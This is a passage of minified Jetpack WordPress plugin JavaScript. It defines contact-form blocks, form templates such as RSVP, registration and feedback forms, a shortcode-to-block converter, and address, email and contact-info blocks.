r=n(51806),a=n(52175),o=n(55609),i=n(65736),s=n(70355),l=n(36598),c=n(99837),u=n(4901),d=n(8565),p=n(62992),m=n(14142);const __=i.__,_x=i._x,h="contact-form",f=(0,l.Z)((0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M18 9H13V7.5H18V9Z",fill:(0,s.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M18 16.5H13V15H18V16.5Z",fill:(0,s.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M9.5 7.5H7.5V9.5H9.5V7.5ZM7.5 6H9.5C10.3284 6 11 6.67157 11 7.5V9.5C11 10.3284 10.3284 11 9.5 11H7.5C6.67157 11 6 10.3284 6 9.5V7.5C6 6.67157 6.67157 6 7.5 6Z",fill:(0,s.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M9.5 14.5H7.5V16.5H9.5V14.5ZM7.5 13H9.5C10.3284 13 11 13.6716 11 14.5V16.5C11 17.3284 10.3284 18 9.5 18H7.5C6.67157 18 6 17.3284 6 16.5V14.5C6 13.6716 6.67157 13 7.5 13Z",fill:(0,s.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M19 4.5H5C4.72386 4.5 4.5 4.72386 4.5 5V19C4.5 19.2761 4.72386 19.5 5 19.5H19C19.2761 19.5 19.5 19.2761 19.5 19V5C19.5 4.72386 19.2761 4.5 19 4.5ZM5 3C3.89543 3 3 3.89543 3 5V19C3 20.1046 3.89543 21 5 21H19C20.1046 21 21 20.1046 21 19V5C21 3.89543 20.1046 3 19 3H5Z",fill:(0,s.m)()}))),g={title:__("Form","jetpack"),description:__("Create forms to collect data from site visitors and manage their responses.","jetpack"),icon:f,keywords:[_x("email","block search term","jetpack"),_x("feedback","block search term","jetpack"),_x("contact form","block search term","jetpack")],supports:{color:{link:!0,gradients:!0},html:!1,spacing:{padding:!0,margin:!0},align:["wide","full"]},attributes:c.Z,edit:d.Z,save:()=>{const e=a.useBlockProps.save();return(0,r.createElement)("div",e,(0,r.createElement)(a.InnerBlocks.Content,null))},example:{innerBlocks:[{name:"jetpack/field-name",attributes:{required:!0,label:__("Name","jetpack")}},{name:"jetpack/field-email",attributes:{required:!0,label:__("Email","jetpack")}},{name:"jetpack/field-textarea",attributes:{label:__("Message","jetpack")}},{name:"jetpack/button",attributes:{text:__("Contact Us","jetpack"),element:"button",lock:{remove:!0}}}]},styles:[{name:"default",label:"Default",isDefault:!0},{name:"animated",label:"Animated"},{name:"outlined",label:"Outlined"}],variations:m.Z,category:"contact-form",transforms:p.Z,deprecated:u.Z}},62992:function(e,t,n){"use strict";var r=n(4981),a=n(65736),o=n(92819);const __=a.__,i=(e,t,n)=>{const r=n.match(new RegExp(`\\[${e}[^\\]]* ${t}="([^"]*)"`,"im"));if(r&&r.length)return r[1];const a=n.match(new RegExp(`\\[${e}[^\\]]* ${t}='([^']*)'`,"im"));if(a&&a.length)return a[1];const o=n.match(new RegExp(`\\[${e}[^\\]]* ${t}=([^\\s]*)\\s`,"im"));return!(!o||!o.length)&&o[1]},s={root:{},innerBlocks:[]};t.Z={from:[{type:"raw",priority:1,isMatch:e=>!("P"!==e.nodeName||!(/\[contact-form(\s.*?)?\](?:([^\[]+)?)?/g.test(e.textContent)||/\[contact-field(\s.*?)?\](?:([^\[]+)?)?/g.test(e.textContent)||/\[\/contact-form]/g.test(e.textContent))),transform:e=>{const t=e.textContent.replace("<br>","");if(t.includes("[contact-form")&&(s.root={},s.innerBlocks=[],s.root=(e=>{const t={to:i("contact-form","to",e),subject:i("contact-form","subject",e),submitButtonText:i("contact-form","submit_button_text",e)};return{blockName:"jetpack/contact-form",attrs:(0,o.pickBy)(t,o.identity)}})(t)),t.includes("[contact-field")){const e=t.match(/(\[contact-field[\s\S]*?\/?])/g);e&&e.length>0&&e.forEach((e=>{s.innerBlocks.push((e=>{const t={label:i("contact-field","label",e),placeholder:i("contact-field","placeholder",e),required:i("contact-field","required",e),options:i("contact-field","options",e)},n=(e=>{const t="jetpack",n={text:`${t}/field-text`,url:`${t}/field-text`,textarea:`${t}/field-textarea`,radio:`${t}/field-radio`,checkbox:`${t}/field-checkbox`,"checkbox-multiple":`${t}/field-checkbox-multiple`,select:`${t}/field-select`,email:`${t}/field-email`,name:`${t}/field-name`,default:`${t}/field-text`};return n[e]?n[e]:n.default})(i("contact-field","type",e));return t.options&&(t.options=t.options.split(",")),(0,r.createBlock)(n,(0,o.pickBy)(t,o.identity))})(e))}))}if(t.includes("[/contact-form]")){s.innerBlocks.push((0,r.createBlock)("jetpack/button",{element:"button",text:s.root.attrs.submitButtonText||__("Contact Us","jetpack")}));return(0,r.createBlock)(s.root.blockName,s.root.attrs,s.innerBlocks)}return!1}}]}},43198:function(e,t,n){"use strict";n.d(t,{k:function(){return a}});var r=n(92819);const a=(e,t,n,a)=>setTimeout((()=>{(0,r.tap)(e.querySelectorAll(t)[n],(e=>{if(e&&(e.focus(),document.createRange&&a)){const t=document.createRange();t.selectNodeContents(e),t.collapse(!1);const n=document.defaultView.getSelection();n.removeAllRanges(),n.addRange(t)}}))}),0)},88216:function(){window.jetpackForms=window.jetpackForms||{},window.jetpackForms.getBackgroundColor=function(e){let t=window.getComputedStyle(e).backgroundColor;for(;"rgba(0, 0, 0, 0)"===t&&e.parentNode&&e.parentNode.nodeType===window.Node.ELEMENT_NODE;)if("wp-block-cover"!==(e=e.parentNode).className)t=window.getComputedStyle(e).backgroundColor;else{const n=e.querySelector(".wp-block-cover__background");t=window.getComputedStyle(n).backgroundColor}return t},window.jetpackForms.generateStyleVariables=function(e){const t=window["editor-canvas"]?window["editor-canvas"].document:document,n=t.querySelector("body");if(!e)return;const r=t.createElement("div");r.className="contact-form__style-probe",r.style="position: absolute; z-index: -1; width: 1px; height: 1px; visibility: hidden",r.innerHTML='\n\t\t\t<div class="contact-form" style="">\n\t\t\t\t<div class="wp-block-button is-style-outline">\n\t\t\t\t\t<div class="wp-block-button__link">Test</div>\n\t\t\t\t</div>\n\t\t\t\t<div class="jetpack-field">\n\t\t\t\t\t<input class="jetpack-field__input" type="text">\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t',e.appendChild(r);const a=r.querySelector(".wp-block-button__link"),o=r.querySelector('input[type="text"]'),i=window.jetpackForms.getBackgroundColor(n),s=window.jetpackForms.getBackgroundColor(o),l=window.getComputedStyle(o).backgroundColor,c=window.getComputedStyle(a).borderColor,{color:u,padding:d,paddingTop:p,paddingLeft:m,border:h,borderColor:f,borderWidth:g,borderStyle:b,borderRadius:v,fontSize:k,fontFamily:y,lineHeight:E}=window.getComputedStyle(o);return r.remove(),{"--jetpack--contact-form--primary-color":c,"--jetpack--contact-form--background-color":i,"--jetpack--contact-form--text-color":u,"--jetpack--contact-form--border":h,"--jetpack--contact-form--border-color":f,"--jetpack--contact-form--border-size":g,"--jetpack--contact-form--border-style":b,"--jetpack--contact-form--border-radius":v,"--jetpack--contact-form--input-background":l,"--jetpack--contact-form--input-background-fallback":s,"--jetpack--contact-form--input-padding":d,"--jetpack--contact-form--input-padding-top":p,"--jetpack--contact-form--input-padding-left":m,"--jetpack--contact-form--font-size":k,"--jetpack--contact-form--font-family":y,"--jetpack--contact-form--line-height":E}}},14062:function(e,t,n){"use strict";n.d(t,{D6:function(){return d},JH:function(){return c},mo:function(){return u}});var r=n(52175),a=n(4981),o=n(9818),i=n(69307),s=n(65736);const __=s.__,l="jetpack/contact-form",c={ANIMATED:"animated",BELOW:"below",DEFAULT:"default",OUTLINED:"outlined"},u=e=>{let{attributes:t,clientId:n,name:s}=e;const c={text:__("Submit","jetpack"),element:"button",lock:{remove:!0}},{replaceBlock:u}=(0,o.useDispatch)(r.store),d=(0,o.useSelect)((e=>e(r.store).getBlockParentsByBlockName(n,l)));(0,i.useEffect)((()=>{d?.length||u(n,(0,a.createBlock)(l,{},[(0,a.createBlock)(s,t),(0,a.createBlock)("jetpack/button",c)]))}),[])},d=e=>{const t=(0,o.useSelect)((t=>{const[n]=t(r.store).getBlockParentsByBlockName(e,l);return t(r.store).getBlockAttributes(n)}));return(e=>{const t=e&&e.match(/is-style-([^\s]+)/i);return t?t[1]:""})(t?.className)||c.DEFAULT}},82425:function(e,t,n){"use strict";n.d(t,{j:function(){return o}});var r=n(9818),a=n(92819);const o=e=>(0,r.useSelect)((t=>{const n=t("core/block-editor");return n.getBlockAttributes((0,a.first)(n.getBlockParents(e,!0)))}))},81334:function(e,t,n){"use strict";n.d(t,{j:function(){return c}});var r=n(82674),a=n.n(r),o=n(51806),i=n(9818),s=n(69307),l=n(92819);const c=e=>t=>n=>{let{attributes:r,clientId:c,setAttributes:u,...d}=n;const p=(e=>{let{attributes:t,clientId:n,setAttributes:r,sharedAttributes:a}=e;const{updateBlockAttributes:o}=(0,i.useDispatch)("core/block-editor"),c=(0,i.useSelect)((e=>{const t=e("core/block-editor"),r=(0,l.first)(t.getBlockParentsByBlockName(n,"jetpack/contact-form"));return(0,l.filter)(t.getBlocks(r),(e=>e.name.indexOf("jetpack/field")>-1&&e.attributes.shareFieldAttributes))}),[n]);return(0,s.useEffect)((()=>{if(!(0,l.isEmpty)(c)&&t.shareFieldAttributes){const e=(0,l.pick)((0,l.first)(c).attributes,a);o([n],e)}}),[]),(0,s.useCallback)((e=>{let i,s;t.shareFieldAttributes&&(0,l.isNil)(e.shareFieldAttributes)?(i=(0,l.map)(c,(e=>e.clientId)),s=(0,l.pick)(e,a)):e.shareFieldAttributes&&!(0,l.isEmpty)(c)&&(i=[n],s=(0,l.pick)((0,l.first)(c).attributes,a)),(0,l.isEmpty)(i)||(0,l.isEmpty)(s)||o(i,s),r(e)}),[t,n,r,a,c,o])})({attributes:r,clientId:c,setAttributes:u,sharedAttributes:e});return(0,o.createElement)(t,a()({attributes:r,clientId:c,setAttributes:p},d))}},62700:function(e,t,n){"use strict";n.d(t,{r:function(){return s}});var r=n(82674),a=n.n(r),o=n(51806),i=(n(88216),n(69307));const s=e=>t=>{const{generateStyleVariables:n}=window.jetpackForms,r=(0,i.useRef)();return(0,o.createElement)(e,a()({style:n(r?.current)},t,{ref:r}))}},14142:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(55609),i=n(65736),s=n(92819),l=n(70355),c=n(36598);const __=i.__,u={style:{spacing:{padding:{top:"16px",right:"16px",bottom:"16px",left:"16px"}}}},d=(0,s.compact)([{name:"contact-form",title:__("Contact Form","jetpack"),description:__("Add a contact form to your page","jetpack"),icon:(0,c.Z)((0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 5.3203L6.6477 9L12 12.6797L17.3523 9L12 5.3203ZM12 3.5L4 9L12 14.5L20 9L12 3.5Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M4 18V9H5.5V18C5.5 18.4142 5.83579 18.75 6.25 18.75H17.75C18.1642 18.75 18.5 18.4142 18.5 18V9H20V18C20 19.2426 18.9926 20.25 17.75 20.25H6.25C5.00736 20.25 4 19.2426 4 18Z",fill:(0,l.m)()})),24,24,"0 0 24 24"),innerBlocks:[["jetpack/field-name",{required:!0,label:__("Name","jetpack")}],["jetpack/field-email",{required:!0,label:__("Email","jetpack")}],["jetpack/field-textarea",{label:__("Message","jetpack")}],["jetpack/button",{text:__("Contact Us","jetpack"),element:"button",lock:{remove:!0}}]],attributes:{...u}},!(0,a.Wp)()&&{name:"newsletter-form",title:__("Newsletter Sign-up","jetpack"),description:__("A simple way to collect information from folks visiting your site","jetpack"),keywords:[__("subscribe","jetpack"),__("email","jetpack"),__("signup","jetpack")],icon:(0,c.Z)((0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M7 8C7 7.72386 7.22386 7.5 7.5 7.5H19.5C19.7761 7.5 20 7.72386 20 8V16C20 16.2761 19.7761 16.5 19.5 16.5H10.5V18H19.5C20.6046 18 21.5 17.1046 21.5 16V8C21.5 6.89543 20.6046 6 19.5 6H7.5C6.39543 6 5.5 6.89543 5.5 8V9.5H7V8Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M9 15.25H3V13.75H9V15.25Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M9 12.5H4V11H9V12.5Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M9 18H2V16.5H9V18Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M6.01196 7.56955L6.98815 6.43066L13.5001 12.0123L20.012 6.43066L20.9881 7.56955L13.5001 13.9879L6.01196 7.56955Z",fill:(0,l.m)()})),24,24,"0 0 24 24"),innerBlocks:[["jetpack/field-name",{required:!0,label:__("Name","jetpack")}],["jetpack/field-email",{required:!0,label:__("Email","jetpack")}],["jetpack/field-consent",{}],["jetpack/button",{text:__("Subscribe","jetpack"),element:"button",lock:{remove:!0}}]],attributes:{...u}},{name:"rsvp-form",title:__("RSVP Form","jetpack"),description:__("Add an RSVP form to your page","jetpack"),icon:(0,c.Z)((0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M7.87868 15.5L5.5 17.8787L5.5 6C5.5 5.72386 5.72386 5.5 6 5.5L18 5.5C18.2761 5.5 18.5 5.72386 18.5 6L18.5 15C18.5 15.2761 18.2761 15.5 18 15.5L7.87868 15.5ZM8.5 17L18 17C19.1046 17 20 16.1046 20 15L20 6C20 4.89543 19.1046 4 18 4L6 4C4.89543 4 4 4.89543 4 6L4 18.9393C4 19.5251 4.47487 20 5.06066 20C5.34196 20 5.61175 19.8883 5.81066 19.6893L8.5 17Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M15.6087 7.93847L11.4826 13.6692L8.45898 10.5196L9.54107 9.48084L11.3175 11.3313L14.3914 7.06201L15.6087 7.93847Z",fill:(0,l.m)()})),24,24,"0 0 24 24"),innerBlocks:[["jetpack/field-name",{required:!0,label:__("Name","jetpack")}],["jetpack/field-email",{required:!0,label:__("Email","jetpack")}],["jetpack/field-radio",{label:__("Attending?","jetpack"),required:!0,options:[__("Yes","jetpack"),__("No","jetpack")]}],["jetpack/field-textarea",{label:__("Other Details","jetpack")}],["jetpack/button",{text:__("Send RSVP","jetpack"),element:"button",lock:{remove:!0}}]],attributes:{...u,subject:__("A new RSVP from your website","jetpack")}},{name:"registration-form",title:__("Registration Form","jetpack"),description:__("Add a Registration form to your page","jetpack"),icon:(0,c.Z)((0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M18.5 5.5V8H20V5.5H22.5V4H20V1.5H18.5V4H16V5.5H18.5ZM12 4H6C4.89543 4 4 4.89543 4 6V18C4 19.1046 4.89543 20 6 20H18C19.1046 20 20 19.1046 20 18V12H18.5V18C18.5 18.2761 18.2761 18.5 18 18.5H6C5.72386 18.5 5.5 18.2761 5.5 18V6C5.5 5.72386 5.72386 5.5 6 5.5H12V4Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{d:"M16.75 17.5V15.5C16.75 13.9812 15.5188 12.75 14 12.75H10C8.48122 12.75 7.25 13.9812 7.25 15.5V17.5H8.75V15.5C8.75 14.8096 9.30964 14.25 10 14.25H14C14.6904 14.25 15.25 14.8096 15.25 15.5V17.5H16.75Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M14.5 9C14.5 10.3807 13.3807 11.5 12 11.5C10.6193 11.5 9.5 10.3807 9.5 9C9.5 7.61929 10.6193 6.5 12 6.5C13.3807 6.5 14.5 7.61929 14.5 9ZM13 9C13 9.55228 12.5523 10 12 10C11.4477 10 11 9.55228 11 9C11 8.44772 11.4477 8 12 8C12.5523 8 13 8.44772 13 9Z",fill:(0,l.m)()})),24,24,"0 0 24 24"),innerBlocks:[["jetpack/field-name",{required:!0,label:__("Name","jetpack")}],["jetpack/field-email",{required:!0,label:__("Email","jetpack")}],["jetpack/field-telephone",{label:__("Phone","jetpack")}],["jetpack/field-select",{label:__("How did you hear about us?","jetpack"),options:[__("Search Engine","jetpack"),__("Social Media","jetpack"),__("TV","jetpack"),__("Radio","jetpack"),__("Friend or Family","jetpack")]}],["jetpack/field-textarea",{label:__("Other Details","jetpack")}],["jetpack/button",{text:__("Send","jetpack"),element:"button",lock:{remove:!0}}]],attributes:{...u,subject:__("A new registration from your website","jetpack")}},{name:"appointment-form",title:__("Appointment Form","jetpack"),description:__("Add an Appointment booking form to your page","jetpack"),icon:(0,c.Z)((0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.Path,{d:"M4 6C4 4.89543 4.89543 4 6 4H18C19.1046 4 20 4.89543 20 6V8H4V6Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{d:"M7 9.25H11V13.25H7V9.25Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M6 5.5H18C18.2761 5.5 18.5 5.72386 18.5 6V12H20V6C20 4.89543 19.1046 4 18 4H6C4.89543 4 4 4.89543 4 6V18C4 19.1046 4.89543 20 6 20H12V18.5H6C5.72386 18.5 5.5 18.2761 5.5 18V6C5.5 5.72386 5.72386 5.5 6 5.5Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M17.25 21V15H18.75V21H17.25Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M15 17.25L21 17.25L21 18.75L15 18.75L15 17.25Z",fill:(0,l.m)()})),24,24,"0 0 24 24"),innerBlocks:[["jetpack/field-name",{required:!0,label:__("Name","jetpack")}],["jetpack/field-email",{required:!0,label:__("Email","jetpack")}],["jetpack/field-telephone",{required:!0,label:__("Phone","jetpack")}],["jetpack/field-date",{label:__("Date","jetpack"),required:!0}],["jetpack/field-radio",{label:__("Time","jetpack"),required:!0,options:[__("Morning","jetpack"),__("Afternoon","jetpack")]}],["jetpack/field-textarea",{label:__("Notes","jetpack")}],["jetpack/button",{text:__("Book Appointment","jetpack"),element:"button",lock:{remove:!0}}]],attributes:{...u,subject:__("A new appointment booked from your website","jetpack")}},{name:"feedback-form",title:__("Feedback Form","jetpack"),description:__("Add a Feedback form to your page","jetpack"),icon:(0,c.Z)((0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 18.5C15.5899 18.5 18.5 15.5899 18.5 12C18.5 8.41015 15.5899 5.5 12 5.5C8.41015 5.5 5.5 8.41015 5.5 12C5.5 15.5899 8.41015 18.5 12 18.5ZM12 20C16.4183 20 20 16.4183 20 12C20 7.58172 16.4183 4 12 4C7.58172 4 4 7.58172 4 12C4 16.4183 7.58172 20 12 20Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M9.5 11C10.3284 11 11 10.3284 11 9.5C11 8.67157 10.3284 8 9.5 8C8.67157 8 8 8.67157 8 9.5C8 10.3284 8.67157 11 9.5 11Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{d:"M16 9.5C16 10.3284 15.3284 11 14.5 11C13.6716 11 13 10.3284 13 9.5C13 8.67157 13.6716 8 14.5 8C15.3284 8 16 8.67157 16 9.5Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M14.5 11C15.3284 11 16 10.3284 16 9.5C16 8.67157 15.3284 8 14.5 8C13.6716 8 13 8.67157 13 9.5C13 10.3284 13.6716 11 14.5 11Z",fill:(0,l.m)()}),(0,r.createElement)(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M8.16492 14.6566L7.41431 13.7183L8.58561 12.7812L9.33622 13.7195C9.98358 14.5287 10.9637 14.9998 12 14.9998C13.0362 14.9998 14.0163 14.5287 14.6637 13.7195L15.4143 12.7812L16.5856 13.7183L15.835 14.6566C14.903 15.8216 13.4919 16.4998 12 16.4998C10.508 16.4998 9.09693 15.8216 8.16492 14.6566Z",fill:(0,l.m)()})),24,24,"0 0 24 24"),innerBlocks:[["jetpack/field-name",{required:!0,label:__("Name","jetpack")}],["jetpack/field-email",{required:!0,label:__("Email","jetpack")}],["jetpack/field-radio",{label:__("Please rate our website","jetpack"),required:!0,options:[__("1 - Very Bad","jetpack"),__("2 - Poor","jetpack"),__("3 - Average","jetpack"),__("4 - Good","jetpack"),__("5 - Excellent","jetpack")]}],["jetpack/field-textarea",{label:__("How could we improve?","jetpack")}],["jetpack/button",{text:__("Send Feedback","jetpack"),element:"button",lock:{remove:!0}}]],attributes:{...u,subject:__("New feedback received from your website","jetpack")}}]);t.Z=d},36553:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(65736),l=n(65235),c=n.n(l),u=n(35208);const __=s.__;class d extends i.Component{constructor(){super(...arguments),this.preventEnterKey=this.preventEnterKey.bind(this)}preventEnterKey(e){"Enter"!==e.key||e.preventDefault()}render(){const{attributes:{address:e,addressLine2:t,addressLine3:n,city:s,region:l,postal:d,country:p,linkToGoogleMaps:m},isSelected:h,setAttributes:f}=this.props,g=[e,t,n,s,l,d,p].some((e=>""!==e)),b=c()({"jetpack-address-block":!0,"is-selected":h}),v=(0,r.createElement)(o.ToggleControl,{label:__("Link address to Google Maps","jetpack"),checked:m,onChange:e=>f({linkToGoogleMaps:e})});return(0,r.createElement)("div",{className:b},!h&&g&&(0,u.Z)(this.props),(h||!g)&&(0,r.createElement)(i.Fragment,null,(0,r.createElement)(a.PlainText,{value:e,placeholder:__("Street Address","jetpack"),"aria-label":__("Street Address","jetpack"),onChange:e=>f({address:e}),onKeyDown:this.preventEnterKey}),(0,r.createElement)(a.PlainText,{value:t,placeholder:__("Address Line 2","jetpack"),"aria-label":__("Address Line 2","jetpack"),onChange:e=>f({addressLine2:e}),onKeyDown:this.preventEnterKey}),(0,r.createElement)(a.PlainText,{value:n,placeholder:__("Address Line 3","jetpack"),"aria-label":__("Address Line 3","jetpack"),onChange:e=>f({addressLine3:e}),onKeyDown:this.preventEnterKey}),(0,r.createElement)(a.PlainText,{value:s,placeholder:__("City","jetpack"),"aria-label":__("City","jetpack"),onChange:e=>f({city:e}),onKeyDown:this.preventEnterKey}),(0,r.createElement)(a.PlainText,{value:l,placeholder:__("State/Province/Region","jetpack"),"aria-label":__("State/Province/Region","jetpack"),onChange:e=>f({region:e}),onKeyDown:this.preventEnterKey}),(0,r.createElement)(a.PlainText,{value:d,placeholder:__("Postal/Zip Code","jetpack"),"aria-label":__("Postal/Zip Code","jetpack"),onChange:e=>f({postal:e}),onKeyDown:this.preventEnterKey}),(0,r.createElement)(a.PlainText,{value:p,placeholder:__("Country","jetpack"),"aria-label":__("Country","jetpack"),onChange:e=>f({country:e}),onKeyDown:this.preventEnterKey}),v))}}t.Z=d},11005:function(e,t,n){"use strict";n.d(t,{X:function(){return d},u:function(){return u}});var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(36598),l=n(36553),c=n(35208);const __=i.__,_x=i._x,u="address",d={title:__("Address","jetpack"),description:__("Lets you add a physical address with Schema markup.","jetpack"),keywords:[_x("location","block search term","jetpack"),_x("direction","block search term","jetpack"),_x("place","block search term","jetpack")],icon:(0,s.Z)((0,r.createElement)(o.Fragment,null,(0,r.createElement)(a.Path,{d:"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7zM7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9z"}),(0,r.createElement)(a.Circle,{cx:"12",cy:"9",r:"2.5"}))),category:"grow",attributes:{address:{type:"string",default:""},addressLine2:{type:"string",default:""},addressLine3:{type:"string",default:""},city:{type:"string",default:""},region:{type:"string",default:""},postal:{type:"string",default:""},country:{type:"string",default:""},linkToGoogleMaps:{type:"boolean",default:!1}},parent:["jetpack/contact-info"],edit:l.Z,save:c.Z}},35208:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(65736);const __=o.__,i=e=>{let{attributes:{address:t,addressLine2:n,addressLine3:o,city:i,region:s,postal:l,country:c}}=e;return(0,r.createElement)(a.Fragment,null,t&&(0,r.createElement)("div",{className:"jetpack-address__address jetpack-address__address1"},t),n&&(0,r.createElement)("div",{className:"jetpack-address__address jetpack-address__address2"},n),o&&(0,r.createElement)("div",{className:"jetpack-address__address jetpack-address__address3"},o),i&&!(s||l)&&(0,r.createElement)("div",{className:"jetpack-address__city"},i),i&&(s||l)&&(0,r.createElement)("div",null,(0,r.createElement)("span",{className:"jetpack-address__city"},i),", ",(0,r.createElement)("span",{className:"jetpack-address__region"},s)," ",(0,r.createElement)("span",{className:"jetpack-address__postal"},l)),!i&&(s||l)&&(0,r.createElement)("div",null,(0,r.createElement)("span",{className:"jetpack-address__region"},s)," ",(0,r.createElement)("span",{className:"jetpack-address__postal"},l)),c&&(0,r.createElement)("div",{className:"jetpack-address__country"},c))},s=e=>{let{attributes:{address:t,addressLine2:n,addressLine3:r,city:a,region:o,postal:i,country:s}}=e;let l=o?`+${o},`:"";l=i?`${l}+${i}`:l;return`https://www.google.com/maps/search/${t?`${t},`:""}${n?`${n},`:""}${r?`${r},`:""}${a?`+${a},`:""}${l}${s?`+${s}`:""}`.replace(" ","+")};t.Z=e=>(e=>{let{address:t,addressLine2:n,addressLine3:r,city:a,region:o,postal:i,country:s}=e;return[t,n,r,a,o,i,s].some((e=>""!==e))})(e.attributes)&&(0,r.createElement)("div",{className:e.className},e.attributes.linkToGoogleMaps&&(0,r.createElement)("a",{href:s(e),target:"_blank",rel:"noopener noreferrer",title:__("Open address in Google Maps","jetpack")},(0,r.createElement)(i,e)),!e.attributes.linkToGoogleMaps&&(0,r.createElement)(i,e))},83238:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(65235),i=n.n(o);const s=["jetpack/markdown","jetpack/address","jetpack/email","jetpack/phone","jetpack/map","jetpack/business-hours","core/paragraph","core/image","core/heading","core/gallery","core/list","core/quote","core/shortcode","core/audio","core/code","core/cover","core/html","core/separator","core/spacer","core/subhead","core/video"],l=[["jetpack/email"],["jetpack/phone"],["jetpack/address"]];t.Z=e=>{const{isSelected:t}=e;return(0,r.createElement)("div",{className:i()({"jetpack-contact-info-block":!0,"is-selected":t})},(0,r.createElement)(a.InnerBlocks,{allowedBlocks:s,templateLock:!1,template:l}))}},82566:function(e,t,n){"use strict";var r=n(31985),a=n(64446);(0,r.Z)(a.u2,a.Xd,a.Nk)},31336:function(e,t,n){"use strict";var r=n(65736),a=n(66425),o=n(90458);const __=r.__;t.Z=e=>{const{setAttributes:t}=e;return(0,a.Z)("email",e,__("Email","jetpack"),o.Z,(e=>t({email:e})))}},99804:function(e,t,n){"use strict";n.d(t,{X:function(){return u},u:function(){return c}});var r=n(51806),a=n(55609),o=n(65736),i=n(36598),s=n(31336),l=n(90458);const __=o.__,_x=o._x,c="email",u={title:__("Email Address","jetpack"),description:__("Lets you add an email address with an automatically generated click-to-email link.","jetpack"),keywords:["e-mail","email",_x("message","block search term","jetpack")],icon:(0,i.Z)((0,r.createElement)(a.Path,{d:"M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6zm-2 0l-8 5-8-5h16zm0 12H4V8l8 5 8-5v10z"})),category:"grow",attributes:{email:{type:"string",default:""}},edit:s.Z,save:l.Z,parent:["jetpack/contact-info"]}},90458:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(92384);t.Z=e=>{let{attributes:{email:t},className:n}=e;return t&&(0,r.createElement)("div",{className:n},t.split(/(\s+)/).map(((e,t)=>{const n=e.replace(/([.,/#!$%^&*;:{}=\-_`~()\][])+$/g,"");return e.indexOf("@")&&o.validate(n)?e===n?(0,r.createElement)("a",{href:`mailto:${e}`,key:t},e):(0,r.createElement)(a.Fragment,{key:t},(0,r.createElement)("a",{href:`mailto:${e}`,key:t},n),(0,r.createElement)(a.Fragment,null,e.slice(-(e.length-n.length)))):(0,r.createElement)(a.Fragment,{key:t},e)})))}},64446:function(e,t,n){"use strict";n.d(t,{Nk:function(){return b},Xd:function(){return g},u2:function(){return h}});var r=n(51806),a=n(52175),o=n(4981),i=n(55609),s=n(65736),l=n(70355),c=n(36598),u=n(11005),d=n(83238),p=n(99804),m=n(52398);const __=s.__,_x=s._x,h="contact-info",f=(0,c.Z)((0,r.createElement)(i.Path,{d:"M19 5v14H5V5h14m0-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7 9c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3zm0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1zm6 10H6v-1.53c0-2.5 3.97-3.58 6-3.58s6 1.08 6 3.58V18zm-9.69-2h7.38c-.69-.56-2.38-1.12-3.69-1.12s-3.01.56-3.69 1.12z"})),g={title:__("Contact Info","jetpack"),description:__("Lets you add an email address, phone number, and physical address with improved markup for better SEO 